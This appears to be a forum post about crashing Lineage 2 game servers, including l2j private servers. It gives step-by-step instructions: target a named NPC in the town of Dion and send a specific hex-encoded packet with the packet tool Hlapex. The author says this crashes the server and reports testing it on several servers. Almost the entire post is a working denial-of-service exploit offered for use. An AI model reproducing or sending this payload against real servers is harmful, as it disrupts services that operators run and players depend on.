Tried to send some Q packets with Hlapex and edited one code, send it and suddenly server started to lagg and after few seconds crashed, I thought that it wasnt my fault… Send it agian and it crashed again

So go to dion target Bard Swan (npc) and then send with Hlapex this code:
21710075006500730074005F00610063006300650070007400 3F00710075006500730074005F00690064003D003300360032 0000
Tested on some off servers and some l2j serves find on my own